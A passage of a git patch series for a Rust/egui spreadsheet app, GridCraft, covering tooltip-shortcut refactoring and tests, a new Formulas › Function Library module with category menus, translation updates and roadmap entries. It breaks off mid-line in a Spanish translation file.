"⌘`", Some("Ctrl+`")), +/// Keyboard shortcuts shown after a ribbon tooltip's command name: Excel for Mac's on macOS, +/// Excel for Windows' elsewhere (each one GridCraft binds). Only the name is translated. +const TOOLTIP_SHORTCUTS: &[(&str, &str, &str)] = &[ + ("Save", "⌘S", "Ctrl+S"), + ("Undo", "⌘Z", "Ctrl+Z"), + ("Redo", "⌘Y", "Ctrl+Y"), + ("Paste", "⌘V", "Ctrl+V"), + ("Cut", "⌘X", "Ctrl+X"), + ("Copy", "⌘C", "Ctrl+C"), + ("Bold", "⌘B", "Ctrl+B"), + ("Italic", "⌘I", "Ctrl+I"), + ("Underline", "⌘U", "Ctrl+U"), + ("AutoSum", "⌘⇧T", "Alt+="), + ("Table", "⌘T", "Ctrl+T"), + ("Insert Link", "⌘K", "Ctrl+K"), + ("Filter", "⌘⇧F", "Ctrl+Shift+L"), + ("Flash Fill", "⌘E", "Ctrl+E"), + // The Control key, written the way each platform names it. macOS's ⌃ is supplied by its + // system fonts; elsewhere the Windows spelling avoids a glyph no bundled face has. + ("Show Formulas", "⌃`", "Ctrl+`"), ]; -/// Returns a verified platform-specific shortcut for a command ID. -pub fn command_shortcut(id: &str, mac: bool) -> Option<&'static str> { - SHORTCUTS.iter().find(|(command, _, _, _)| *command == id).and_then(|(_, _, mac_keys, other)| if mac { Some(*mac_keys) } else { *other }) +/// The shortcut a ribbon tooltip shows after `tip`, for this platform (`mac`). +pub fn tooltip_shortcut(tip: &str, mac: bool) -> Option<&'static str> { + TOOLTIP_SHORTCUTS.iter().find(|(name, _, _)| *name == tip).map(|(_, m, other)| if mac { *m } else { *other }) } -/// Returns the same shortcut for a Ribbon tooltip label. -pub fn tooltip_shortcut(tip: &str, mac: bool) -> Option<&'static str> { - SHORTCUTS.iter().find(|(_, label, _, _)| !label.is_empty() && *label == tip).and_then( - |(_, _, mac_keys, other)| { - if mac { Some(*mac_keys) } else { *other } - }, - ) -} /// A ribbon tooltip: the translated command name, then its shortcut for this platform, as Excel /// shows them ("Bold (Ctrl+B)" on Windows, "Bold (⌘B)" on macOS). fn tip_text(ui: &Ui, tip: &str) -> String { @@ -735,17 +714,9 @@ mod tooltip_shortcut_tests { assert_eq!(tooltip_shortcut("Filter", true), Some("⌘⇧F")); // Search commands has no shortcut of its own (Ctrl+Shift+Space selects all). assert_eq!(tooltip_shortcut("Search commands", false), None); - for (id, tip, mac, other) in super::SHORTCUTS { - assert!(!mac.is_empty(), "{id}: empty macOS mapping"); - if let Some(keys) = other { - assert!(!keys.contains(['⌘', '⇧', '⌥']), "{id}: {keys}"); - } - assert_eq!(super::command_shortcut(id, true), Some(*mac), "{id}"); - assert_eq!(super::command_shortcut(id, false), *other, "{id}"); - if !tip.is_empty() { - assert_eq!(tooltip_shortcut(tip, true), Some(*mac), "{id}"); - assert_eq!(tooltip_shortcut(tip, false), *other, "{id}"); - } + for (name, mac, other) in super::TOOLTIP_SHORTCUTS { + assert!(!other.contains(['⌘', '⇧', '⌥']), "{name}: {other}"); + assert!(mac.starts_with('⌘') || mac.starts_with('⌃'), "{name}: {mac}"); } } @@ -753,7 +724,7 @@ mod tooltip_shortcut_tests { fn ribbon_tip_text_obeys_runtime_os() { use egui::os::OperatingSystem; - for (os, expected) in [(OperatingSystem::Windows, "Flash Fill (Ctrl+E)"), (OperatingSystem::Mac, "Flash Fill (Control+E)")] { + for (os, expected) in [(OperatingSystem::Windows, "Flash Fill (Ctrl+E)"), (OperatingSystem::Mac, "Flash Fill (⌘E)")] { let ctx = egui::Context::default(); ctx.set_os(os); diff --git a/crates/ui-egui/tests/it/dialog_focus.rs b/crates/ui-egui/tests/it/dialog_focus.rs index 6aba1c2f3..63850a64e 100644 --- a/crates/ui-egui/tests/it/dialog_focus.rs +++ b/crates/ui-egui/tests/it/dialog_focus.rs @@ -83,87 +83,27 @@ fn command_search_arrow_and_page_keys_move_the_selection_and_keep_the_search_foc assert!(h.ctx.memory(|m| m.focused()).is_some(), "the search field kept focus"); } -/// Checks platform-specific labels for the Bold and Filter shortcuts. +/// The palette displays the engine metadata unchanged on either runtime OS. #[test] -fn command_search_shows_shortcuts_for_current_platform() { - let mut h = harness(); - h.state_mut().open_dialog("commandSearch", json!({})); - h.run_steps(6); - - h.state_mut().dialog.as_mut().unwrap().search = "bold".into(); - h.run_steps(3); - - let bold = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Bold (⌘B)" } else { "Bold (Ctrl+B)" }; - h.get_by_label_contains(bold); - - h.state_mut().dialog.as_mut().unwrap().search = "filter".into(); - h.run_steps(3); - - let filter = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Filter (⌘⇧F)" } else { "Filter (Ctrl+Shift+L)" }; - h.get_by_label_contains(filter); -} - -/// Checks that Paste Special shows a usable shortcut after copying a cell. -#[test] -fn command_search_shows_paste_special_shortcut() { - let mut h = harness(); - - h.state_mut().session.execute("cell.set", json!({"cell": "C3", "input": "copied"})).unwrap(); - h.state_mut().session.execute("edit.copy", json!({"range": "C3"})).unwrap(); - - h.state_mut().open_dialog("commandSearch", json!({})); - h.run_steps(6); - - h.state_mut().dialog.as_mut().unwrap().search = "pasteSpecial".into(); - h.run_steps(3); - - let expected = if h.ctx.os() == egui::os::OperatingSystem::Mac { "Paste Special… (Ctrl+Cmd+V)" } else { "Paste Special… (Ctrl+Alt+V)" }; - - h.get_by_label_contains(expected); -} - -/// Checks both OS mappings on one host, including commands with conflicting keys. -#[test] -fn command_search_uses_runtime_os_and_verified_shortcuts() { +fn command_search_shows_engine_shortcuts() { use egui::os::OperatingSystem; - for (os, bold, filter, flash, paste, left, center) in [ - ( - OperatingSystem::Windows, - "Bold (Ctrl+B)", - "Filter (Ctrl+Shift+L)", - "Flash Fill (Ctrl+E)", - "Paste Special… (Ctrl+Alt+V)", - "Align Left Home", - "Center Home", - ), - ( - OperatingSystem::Mac, - "Bold (⌘B)", - "Filter (⌘⇧F)", - "Flash Fill (Control+E)", - "Paste Special… (Ctrl+Cmd+V)", - "Align Left (⌘L)", - "Center (⌘E)", - ), - ] { + for os in [OperatingSystem::Windows, OperatingSystem::Mac] { let mut h = harness(); h.ctx.set_os(os); h.run_steps(2); - h.state_mut().session.execute("cell.set", json!({"cell": "C3", "input": "copied"})).unwrap(); - h.state_mut().session.execute("edit.copy", json!({"range": "C3"})).unwrap(); - h.state_mut().open_dialog("commandSearch", json!({})); h.run_steps(6); for (query, expected) in [ - ("bold", bold), - ("filter", filter), - ("edit.flashFill", flash), - ("edit.pasteSpecial", paste), - ("home.alignLeft", left), - ("home.alignCenter", center), + ("home.bold", "Bold (Cmd+B)"), + ("data.filter", "Filter (Ctrl+Shift+L)"), + ("edit.flashFill", "Flash Fill (Ctrl+E)"), + ("home.alignLeft", "Align Left (Cmd+L)"), + ("home.alignCenter", "Center (Cmd+E)"), + ("selection.row", "Select Entire Row (Shift+Space)"), + ("selection.column", "Select Entire Column (Ctrl+Space)"), ] { h.state_mut().dialog.as_mut().unwrap().search = query.into(); h.run_steps(3); @@ -171,72 +111,59 @@ fn command_search_uses_runtime_os_and_verified_shortcuts() { } } } -/// Selection shortcuts use the same bindings as the runtime keyboard handler. + +/// Paste Special uses the engine's shortcut metadata when enabled. #[test] -fn command_search_selection_shortcuts_match_runtime_os() { - for (os, column_label) in [ - (egui::os::OperatingSystem::Windows, "Select Entire Column (Ctrl+Space)"), - (egui::os::OperatingSystem::Mac, "Select Entire Column (Control+Space)"), - ] { +fn command_search_shows_paste_special_metadata() { + use egui::os::OperatingSystem; + + for os in [OperatingSystem::Windows, OperatingSystem::Mac] { let mut h = harness(); h.ctx.set_os(os); h.run_steps(2); + h.state_mut().session.execute("cell.set", json!({"cell": "C3", "input": "copied"})).unwrap(); + + h.state_mut().session.execute("edit.copy", json!({"range": "C3"})).unwrap(); + h.state_mut().open_dialog("commandSearch", json!({})); h.run_steps(6); - h.state_mut().dialog.as_mut().unwrap().search = "selection.row".into(); + h.state_mut().dialog.as_mut().unwrap().search = "edit.pasteSpecial".into(); h.run_steps(3); - h.get_by_label_contains("Select Entire Row (Shift+Space)"); - h.state_mut().dialog.as_mut().unwrap().search = "selection.column".into(); - h.run_steps(3); - h.get_by_label_contains(column_label); + h.get_by_label_contains("Paste Special… (Ctrl+Cmd+V)"); } } -/// Ribbon tooltips and the Command Palette read the same shortcut metadata. +/// The engine registry is the authoritative shortcut source. #[test] -fn command_palette_and_ribbon_tooltips_share_shortcuts() { - use gridcraft_ui_egui::widgets::{command_shortcut, tooltip_shortcut}; +fn command_palette_shortcuts_come_from_engine_metadata() { + let session = gridcraft_engine::Session::new(); + let commands = session.commands(); - for (id, tip) in [ - ("file.save", "Save"), - ("edit.undo", "Undo"), - ("edit.redo", "Redo"), - ("edit.copy", "Copy"), - ("edit.cut", "Cut"), - ("edit.paste", "Paste"), - ("home.bold", "Bold"), - ("home.italic", "Italic"), - ("home.underline", "Underline"), - ("formulas.autoSum", "AutoSum"), - ("insert.table", "Table"), - ("data.filter", "Filter"), - ("edit.flashFill", "Flash Fill"), - ("formulas.showFormulas", "Show Formulas"), + for (id, expected) in [ + ("home.bold", "Cmd+B"), + ("data.filter", "Ctrl+Shift+L"), + ("edit.flashFill", "Ctrl+E"), + ("edit.pasteSpecial", "Ctrl+Cmd+V"), + ("selection.row", "Shift+Space"), + ("selection.column", "Ctrl+Space"), + ("selection.currentRegion", "Ctrl+Shift+8"), + ("home.alignLeft", "Cmd+L"), + ("home.alignCenter", "Cmd+E"), ] { - for mac in [false, true] { - assert_eq!(command_shortcut(id, mac), tooltip_shortcut(tip, mac), "{id} and {tip} diverged on mac={mac}"); - } + let command = commands.iter().find(|c| c.id == id).unwrap(); + assert_eq!(command.shortcut, Some(expected), "{id}"); } - - assert_eq!(command_shortcut("edit.flashFill", true), Some("Control+E")); - assert_eq!(command_shortcut("home.alignCenter", true), Some("⌘E")); - assert_eq!(command_shortcut("home.alignCenter", false), None); - assert_eq!(command_shortcut("formulas.showFormulas", true), Some("⌘`")); - assert_eq!(command_shortcut("edit.pasteSpecial", false), Some("Ctrl+Alt+V")); - assert_eq!(command_shortcut("selection.row", false), Some("Shift+Space")); - assert_eq!(command_shortcut("unverified.command", false), None); } - -/// Current Region must show the physical Control shortcut on both platforms. +/// Current Region displays the shortcut declared in engine metadata. #[test] fn command_search_shows_current_region_shortcut() { use egui::os::OperatingSystem; for (os, expected) in - [(OperatingSystem::Windows, "Select Current Region (Ctrl+Shift+8)"), (OperatingSystem::Mac, "Select Current Region (Control+Shift+8)")] + [(OperatingSystem::Windows, "Select Current Region (Ctrl+Shift+8)"), (OperatingSystem::Mac, "Select Current Region (Ctrl+Shift+8)")] { let mut h = harness(); h.ctx.set_os(os); From 6aa5a78828ea66a0522de0dfdb19bd267dd64abe Mon Sep 17 00:00:00 2001 From: prxnvt <53838599+prxnvt@users.noreply.github.com> Date: Sun, 11 Oct 2026 21:36:22 -0400 Subject: [PATCH 128/298] =?UTF-8?q?UI:=20Formulas=20=E2=80=BA=20Function?= =?UTF-8?q?=20Library=20as=20labelled=20buttons=20with=20category=20menus?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The Function Library group was a big Insert Function button followed by AutoSum and seven big category buttons that all drew the same icon, the widest group on the Formulas tab. It is now laid out as Excel lays it out when the window is not wide enough for a big button per category: big Insert Function and AutoSum buttons, then the categories as labelled small buttons in columns of three: Recently Used Text Math & Trig Financial Date & Time More Functions Logical Lookup & Reference - The category buttons draw a new code-drawn icon, Icon::FnBook, a book whose spine and glyph (star, coins, question mark, letter, clock, magnifier, theta, dots) take the category's colour from the theme's category palette. icons::paint_accent draws an icon with an accent colour, and widgets::small_button_accent is a small button that uses it; small_button is unchanged for its callers. - AutoSum stays the big split button: the icon inserts SUM, the label and arrow open the AutoSum menu, which now reads Sum, Average, Count Numbers, Max, Min and More Functions… and is shared with Home › Editing. Its tooltip names the control only, so the shortcut comes from the platform lookup (Alt+= on Windows and Linux). - Each category menu lists its functions with their descriptions on hover and ends with Insert Function…, which opens the dialog with that category. More Functions cascades into Statistical, Engineering, Cube, Information, Compatibility and Web. Recently Used lists what the engine's formulas.recentlyUsed returns. - The function categories, the function list (built once) and the menus live in a new function_library module; the dialog's category labels come from it. - keytips.json gains MR for Recently Used, Excel's sequence. Labelled small and big buttons report their label to accessibility. - The one-line labels (Date & Time, Lookup & Reference, Math & Trig, More Functions) replace the two-line keys in every interface language, with the same words. Recently Used is translated in Czech, German, Spanish, French, Japanese, Korean, Portuguese, Russian and Chinese; the other languages show it in English, their fallback. Tests: tests/it/function_library.rs covers the layout (columns of three level with the tab's other columns), each category menu and its Insert Function… row, the More Functions cascade, the AutoSum split button and its menu, and the MR key tip. A ribbon unit test keeps Command-key glyphs out of the ribbon's text. chart_resize picks the chart menu's Delete now that Home › Cells' Delete has an accessible name. --- ROADMAP.md | 4 +- crates/ui-egui/src/dialogs.rs | 6 +- crates/ui-egui/src/dialogs/insert_function.rs | 14 +- crates/ui-egui/src/function_library.rs | 191 ++++++++++++++++++ crates/ui-egui/src/i18n/cs.rs | 9 +- crates/ui-egui/src/i18n/de.rs | 9 +- crates/ui-egui/src/i18n/el.rs | 5 +- crates/ui-egui/src/i18n/es.rs | 9 +- crates/ui-egui/src/i18n/fr.rs | 9 +- crates/ui-egui/src/i18n/it.rs | 5 +- crates/ui-egui/src/i18n/ja.rs | 6 +- crates/ui-egui/src/i18n/ko.rs | 9 +- crates/ui-egui/src/i18n/nl.rs | 8 +- crates/ui-egui/src/i18n/pl.rs | 5 +- crates/ui-egui/src/i18n/pt.rs | 6 +- crates/ui-egui/src/i18n/ro.rs | 5 +- crates/ui-egui/src/i18n/ru.rs | 9 +- crates/ui-egui/src/i18n/sr.rs | 8 +- crates/ui-egui/src/i18n/tr.rs | 8 +- crates/ui-egui/src/i18n/uk.rs | 11 +- crates/ui-egui/src/i18n/vi.rs | 8 +- crates/ui-egui/src/i18n/zh.rs | 9 +- crates/ui-egui/src/icons.rs | 91 ++++++++- .../src/keytips/keytip_table/generated.rs | 1 + crates/ui-egui/src/keytips/keytips.json | 7 + crates/ui-egui/src/lib.rs | 1 + crates/ui-egui/src/ribbon.rs | 28 +++ crates/ui-egui/src/ribbon/formulas.rs | 122 +++++++---- crates/ui-egui/src/ribbon/home.rs | 16 +- crates/ui-egui/src/widgets.rs | 8 +- crates/ui-egui/tests/it/chart_resize.rs | 7 +- crates/ui-egui/tests/it/function_library.rs | 171 ++++++++++++++++ crates/ui-egui/tests/it/keytips_generated.rs | 10 +- crates/ui-egui/tests/it/main.rs | 1 + crates/ui-egui/tests/it/ribbon_layout.rs | 8 +- docs/architecture.md | 19 +- docs/ui-parity.md | 4 +- 37 files changed, 689 insertions(+), 158 deletions(-) create mode 100644 crates/ui-egui/src/function_library.rs create mode 100644 crates/ui-egui/tests/it/function_library.rs diff --git a/ROADMAP.md b/ROADMAP.md index 3d1a1d0d8..328b92f40 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -2,7 +2,7 @@ **Stage: alpha** · next: beta, ~25 points of "ready for real work" and ~160–240 h away -> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-25 · **Change:** minor (AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column; earlier: macro engine and `macro.*` commands; macro interface on the Automate tab) · **Target:** Microsoft Excel (Microsoft 365) +> **Last reviewed:** 2026-10-11 · **Last updated:** 2026-10-31 · **Change:** minor (Formulas › Function Library as labelled buttons with category menus; earlier: AutoSum over a selected row puts its total to the right, and fills a selection's empty last row and column) · **Target:** Microsoft Excel (Microsoft 365) GridCraft aims at full Microsoft Excel parity, and at being better in places: faster, open (XLSX is the native format), fully scriptable by agents (MCP, control channel, CLI), and on the web. @@ -135,6 +135,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | What landed | |---|---| +| 2026-10-31 | Formulas › Function Library as a big Insert Function button, the AutoSum split button and three columns of labelled small buttons, each category book in its own colour; category menus end with Insert Function… on that category; More Functions cascades into the remaining categories; Home › Editing shares the AutoSum menu; the MR key tip opens Recently Used | | 2026-10-25 | AutoSum over a selection does what Excel does: a selected row gets one total to its right (in its last cell if that is empty), not a one-cell total under each cell; a block whose last column is empty gets each row's total there, one whose last row is empty each column's, and with both the corner gets the total of the block; otherwise totals go under each column as before | | 2026-10-24 | Macro interface ([macros.md](docs/macros.md#in-the-window)): an Automate › Macros group (Record Macro, which turns into Stop Recording, Use Relative References, Run Macro with recent macros); "Recording · N steps" with Stop in the status bar; a Record Macro dialog (checked name, free Ctrl+Shift shortcut, description); the Macros dialog lists macros beside Automate scripts and a VBA project, with Run, Step Into, Edit, Create, Delete and Options; Ctrl+Shift+letter macro shortcuts; questions that offer Run, Overwrite, Shift Down or Shift Right; a step editor with a breakpoint gutter, drag to reorder, a command picker, reference boxes that switch between relative tokens and absolute references, Inputs and Output tabs, a debug bar (Check, Run, Step, Continue, Run to Here, Stop with keep or undo) and grid overlays for inputs, writes, conflicts and the current step | | 2026-10-24 | Go To lists the named ranges of every sheet (`Sheet2!Name` for a name scoped to another sheet; hidden names, constants and formulas left out) and the references entered before, a double-click goes to an entry, and the Reference box takes several names or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) | @@ -244,6 +245,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Progress log: Function Library | | 2026-10-25 | minor | Progress log: AutoSum over a selected row, and a selection's empty last row and column | | 2026-10-24 | minor | Macro interface on the Automate tab; progress log row | | 2026-10-24 | minor | Macro engine and `macro.*` commands; catalog 275 / 291 → 276 / 292 (View › Macros › Record Macro); progress log row | diff --git a/crates/ui-egui/src/dialogs.rs b/crates/ui-egui/src/dialogs.rs index 92187d5c0..df166e229 100644 --- a/crates/ui-egui/src/dialogs.rs +++ b/crates/ui-egui/src/dialogs.rs @@ -853,7 +853,11 @@ impl Dialog { } d } - "insertFunction" => Dialog::custom("insertFunction", "Formula Builder", json!({"category": "Most Recently Used"})), + "insertFunction" => { + // A Function Library menu opens it on its own category. + let category = p("category").as_str().unwrap_or(crate::function_library::MOST_RECENTLY_USED).to_string(); + Dialog::custom("insertFunction", "Formula Builder", json!({"category": category})) + } "find" => { let mut d = Dialog::custom("find", "Find and Replace", json!({"what": "", "with": "", "within": "sheet", "lookIn": "formulas"})); d.tab = if p("replace").as_bool() == Some(true) { "Replace".into() } else { "Find".into() }; diff --git a/crates/ui-egui/src/dialogs/insert_function.rs b/crates/ui-egui/src/dialogs/insert_function.rs index b662d7197..2f922d644 100644 --- a/crates/ui-egui/src/dialogs/insert_function.rs +++ b/crates/ui-egui/src/dialogs/insert_function.rs @@ -26,7 +26,7 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia egui::ScrollArea::vertical().max_height(260.0).show(ui, |ui| { for (i, f) in hits.iter().enumerate() { let name = locale.function_name(f["name"].as_str().unwrap_or("")); - let category = language.tr(function_category_label(f["category"].as_str().unwrap_or(""))); + let category = language.tr(crate::function_library::category_label(f["category"].as_str().unwrap_or(""))); let r = ui.add(egui::Button::selectable(i == d.list_index, format!("{name:<18} {category}")).min_size(vec2(480.0, 20.0))); if r.clicked() { d.list_index = i; @@ -58,15 +58,3 @@ pub(super) fn insert_function(app: &mut SheetApp, ui: &mut egui::Ui, d: &mut Dia *confirm = true; } } - -/// Excel's name for a function category, given the catalog's id (`MathTrig`). -fn function_category_label(id: &str) -> &str { - match id { - "DateTime" => "Date & Time", - "Lookup" => "Lookup & Reference", - "MathTrig" => "Math & Trig", - "AddIn" => "Add-in and Automation", - // Financial, Logical, Text, Statistical, Engineering, Database, Information, … - other => other, - } -} diff --git a/crates/ui-egui/src/function_library.rs b/crates/ui-egui/src/function_library.rs new file mode 100644 index 000000000..434f4a6ac --- /dev/null +++ b/crates/ui-egui/src/function_library.rs @@ -0,0 +1,191 @@ +//! The Formulas tab's Function Library: the function categories, their menus, the AutoSum menu +//! (shared with Home › Editing), and the Recently Used menu, which lists what the engine's +//! `formulas.recentlyUsed` returns. + +use std::sync::OnceLock; + +use egui::{Ui, vec2}; +use serde_json::json; + +use crate::SheetApp; + +/// The Insert Function category that lists [`recent`]. +pub const MOST_RECENTLY_USED: &str = "Most Recently Used"; +/// The Insert Function category that lists every function. +pub const ALL: &str = "All"; + +/// The function categories in the order the Insert Function dialog lists them: (the engine's +/// category id, the label people see). +pub const CATEGORIES: [(&str, &str); 14] = [ + ("Financial", "Financial"), + ("DateTime", "Date & Time"), + ("MathTrig", "Math & Trig"), + ("Statistical", "Statistical"), + ("Lookup", "Lookup & Reference"), + ("Database", "Database"), + ("Text", "Text"), + ("Logical", "Logical"), + ("Information", "Information"), + ("Engineering", "Engineering"), + ("Cube", "Cube"), + ("Compatibility", "Compatibility"), + ("Web", "Web"), + ("AddIn", "Add-in and Automation"), +]; + +/// The categories under More Functions, each a cascading submenu. +pub const MORE_FUNCTIONS: [&str; 6] = ["Statistical", "Engineering", "Cube", "Information", "Compatibility", "Web"]; + +/// The label of an engine category id (the id itself if it is unknown). +pub fn category_label(id: &str) -> &str { + CATEGORIES.iter().find(|(c, _)| *c == id).map(|(_, l)| *l).unwrap_or(id) +} + +/// The engine category id for a category given by id or label, in any case. +pub fn category_id(name: &str) -> Option<&'static str> { + CATEGORIES.iter().find(|(c, l)| c.eq_ignore_ascii_case(name) || l.eq_ignore_ascii_case(name)).map(|(c, _)| *c) +} + +/// One function of the library. +#[derive(Clone, Debug)] +pub struct FnEntry { + pub name: String, + pub category: String, + pub description: String, +} + +/// Every function, sorted by name (built once; the list is static). +pub fn all() -> &'static [FnEntry] { + static LIST: OnceLock> = OnceLock::new(); + LIST.get_or_init(|| { + let mut list: Vec = gridcraft_engine::cmd::formulas::function_list() + .iter() + .filter_map(|f| { + Some(FnEntry { + name: f["name"].as_str()?.to_string(), + category: f["category"].as_str().unwrap_or("").to_string(), + description: f["description"].as_str().unwrap_or("").to_string(), + }) + }) + .collect(); + list.sort_by(|a, b| a.name.cmp(&b.name)); + list.dedup_by(|a, b| a.name == b.name); + list + }) +} + +/// The function named `name` (upper case), if the library knows it. +pub fn find(name: &str) -> Option<&'static FnEntry> { + let list = all(); + list.binary_search_by(|f| f.name.as_str().cmp(name)).ok().and_then(|i| list.get(i)) +} + +/// The functions of one engine category, in name order. +pub fn in_category(id: &str) -> impl Iterator + '_ { + all().iter().filter(move |f| f.category == id) +} + +/// The name a function shows under in the interface language. +fn display_name<'a>(app: &SheetApp, name: &'a str) -> &'a str { + let locale = app.ui.language.formula_locale(); + app.session.active().map(|d| crate::formula_locale::completion_name(name, locale, &d.wb, d.wb.active_sheet())).unwrap_or(name) +} + +/// One menu row per function, with its description on hover; a click starts the formula. +fn function_items<'a>(app: &mut SheetApp, ui: &mut Ui, names: impl Iterator) { + let language = app.ui.language; + let locale = language.formula_locale(); + ui.set_max_height(420.0); + egui::ScrollArea::vertical().max_height(380.0).show(ui, |ui| { + for n in names { + let Some(entry) = find(n) else { continue }; + let name = display_name(app, &entry.name); + let r = ui.add(egui::Button::new(name).frame(false).min_size(vec2(180.0, 20.0))); + // The description is looked up only while the row is hovered. + let r = r.on_hover_ui(|ui| { + ui.label(crate::formula_locale::description(&entry.name, locale, language).unwrap_or_default()); + }); + if r.clicked() { + app.run_or_alert("formulas.insertFunction", json!({"name": entry.name})); + ui.close(); + } + } + }); +} + +/// The "Insert Function…" row that ends every category menu; it opens the dialog on `category`. +fn insert_function_item(app: &mut SheetApp, ui: &mut Ui, category: &str) { + ui.separator(); + let label = app.ui.language.tr("Insert Function…"); + if ui.add(egui::Button::new(label).frame(false).min_size(vec2(180.0, 22.0))).clicked() { + app.open_dialog("insertFunction", json!({"category": category})); + ui.close(); + } +} + +/// The menu of one category: its functions, then Insert Function…. +pub fn category_menu(app: &mut SheetApp, ui: &mut Ui, id: &str) { + let names: Vec<&str> = in_category(id).map(|f| f.name.as_str()).collect(); + function_items(app, ui, names.into_iter()); + insert_function_item(app, ui, category_label(id)); +} + +/// The functions `formulas.recentlyUsed` lists, newest first (none without a workbook). +pub fn recent(app: &mut SheetApp) -> Vec { + let list = app.session.execute("formulas.recentlyUsed", json!({})).unwrap_or_default(); + list.as_array().map(|a| a.iter().filter_map(|n| n.as_str().map(String::from)).collect()).unwrap_or_default() +} + +/// Recently Used: the most recent functions, newest first, then Insert Function…. +pub fn recent_menu(app: &mut SheetApp, ui: &mut Ui) { + let recent = recent(app); + function_items(app, ui, recent.iter().map(String::as_str)); + insert_function_item(app, ui, MOST_RECENTLY_USED); +} + +/// More Functions: a cascading submenu per remaining category. +pub fn more_menu(app: &mut SheetApp, ui: &mut Ui) { + for id in MORE_FUNCTIONS { + let label = app.ui.language.tr(category_label(id)).to_string(); + ui.menu_button(label, |ui| category_menu(app, ui, id)); + } +} + +/// The AutoSum menu, shared by Home › Editing and Formulas › Function Library: a function, or +/// the Insert Function dialog. +pub fn auto_sum_menu(app: &mut SheetApp, ui: &mut Ui) { + for (label, f) in [("Sum", "SUM"), ("Average", "AVERAGE"), ("Count Numbers", "COUNT"), ("Max", "MAX"), ("Min", "MIN")] { + let label = app.ui.language.tr(label); + if ui.add(egui::Button::new(label).frame(false).min_size(vec2(160.0, 22.0))).clicked() { + app.run_or_alert("formulas.autoSum", json!({"function": f})); + ui.close(); + } + } + ui.separator(); + let label = app.ui.language.tr("More Functions…"); + if ui.add(egui::Button::new(label).frame(false).min_size(vec2(160.0, 22.0))).clicked() { + app.open_dialog("insertFunction", json!({})); + ui.close(); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn categories_cover_every_function() { + for f in all() { + assert!(category_id(&f.category).is_some(), "{} is in an unknown category {}", f.name, f.category); + } + assert_eq!(category_id("date & time"), Some("DateTime")); + assert_eq!(category_id("Lookup"), Some("Lookup")); + assert_eq!(category_id("nope"), None); + for c in MORE_FUNCTIONS { + assert!(category_id(c).is_some()); + } + assert!(all().windows(2).all(|w| w[0].name < w[1].name), "sorted by name, without duplicates"); + assert_eq!(find("SUM").map(|f| f.category.as_str()), Some("MathTrig")); + assert!(find("NOT_A_FUNCTION").is_none()); + } +} diff --git a/crates/ui-egui/src/i18n/cs.rs b/crates/ui-egui/src/i18n/cs.rs index 9a6d54030..3ba6cb732 100644 --- a/crates/ui-egui/src/i18n/cs.rs +++ b/crates/ui-egui/src/i18n/cs.rs @@ -417,11 +417,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Dlouhé datum", "More Number Formats…" => "Další formáty čísel…", "Financial" => "Finanční", + "Recently Used" => "Naposledy použité", "Logical" => "Logické", - "Date &\nTime" => "Datum a\nčas", - "Lookup &\nReference" => "Vyhledávání\na odkazy", - "Math &\nTrig" => "Matematika a\ntrigonometrie", - "More\nFunctions" => "Další\nfunkce", + "Date & Time" => "Datum a čas", + "Lookup & Reference" => "Vyhledávání a odkazy", + "Math & Trig" => "Matematika a trigonometrie", + "More Functions" => "Další funkce", "Sheet Options|View" => "Zobrazit", "Print" => "Tisknout", "Print What" => "Co tisknout", diff --git a/crates/ui-egui/src/i18n/de.rs b/crates/ui-egui/src/i18n/de.rs index 6427b279d..420214ffb 100644 --- a/crates/ui-egui/src/i18n/de.rs +++ b/crates/ui-egui/src/i18n/de.rs @@ -420,11 +420,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Langes Datum", "More Number Formats…" => "Weitere Zahlenformate…", "Financial" => "Finanzmathematik", + "Recently Used" => "Zuletzt verwendet", "Logical" => "Logisch", - "Date &\nTime" => "Datum &\nUhrzeit", - "Lookup &\nReference" => "Nachschlagen &\nVerweisen", - "Math &\nTrig" => "Mathematik &\nTrigonometrie", - "More\nFunctions" => "Weitere\nFunktionen", + "Date & Time" => "Datum & Uhrzeit", + "Lookup & Reference" => "Nachschlagen & Verweisen", + "Math & Trig" => "Mathematik & Trigonometrie", + "More Functions" => "Weitere Funktionen", "Page Layout|Orientation" => "Seitenausrichtung", "Display theme" => "Anzeigedesign", "System" => "System", diff --git a/crates/ui-egui/src/i18n/el.rs b/crates/ui-egui/src/i18n/el.rs index 9231f8244..165d94cd8 100644 --- a/crates/ui-egui/src/i18n/el.rs +++ b/crates/ui-egui/src/i18n/el.rs @@ -389,10 +389,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "More Number Formats…" => "Περισσότερες μορφές αριθμών…", "Financial" => "Οικονομικές", "Logical" => "Λογικές", - "Date &\nTime" => "Ημερομηνία και\nώρα", - "Lookup &\nReference" => "Αναζήτηση και\nαναφορά", - "Math &\nTrig" => "Μαθηματικά και\nτριγωνομετρία", - "More\nFunctions" => "Περισσότερες\nσυναρτήσεις", + "More Functions" => "Περισσότερες συναρτήσεις", "Page Layout|Orientation" => "Προσανατολισμός σελίδας", "Display theme" => "Θέμα εμφάνισης", "System" => "Σύστημα", diff --git a/crates/ui-egui/src/i18n/es.rs b/crates/ui-egui/src/i18n/es.rs index a4b4e884a..f3df58b04 100644 --- a/crates/ui-egui/src/i18n/es.rs +++ b/crates/ui-egui/src/i18n/es.rs @@ -417,11 +417,12 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Long Date" => "Fecha larga", "More Number Formats…" => "Más formatos de número…", "Financial" => "Financieras", + "Recently Used" => "Usadas recientemente", "Logical" => "Lógicas", - "Date &\nTime" => "Fecha\ny hora", - "Lookup &\nReference" => "Búsqueda y\nreferencia", - "Math &\nTrig" => "Matemáticas y\ntrigonométricas", - "More\nFunctions" => "Más\nfunciones", + "Date & Time" => "Fecha y hora", + "Lookup & Reference" => "Búsqueda y 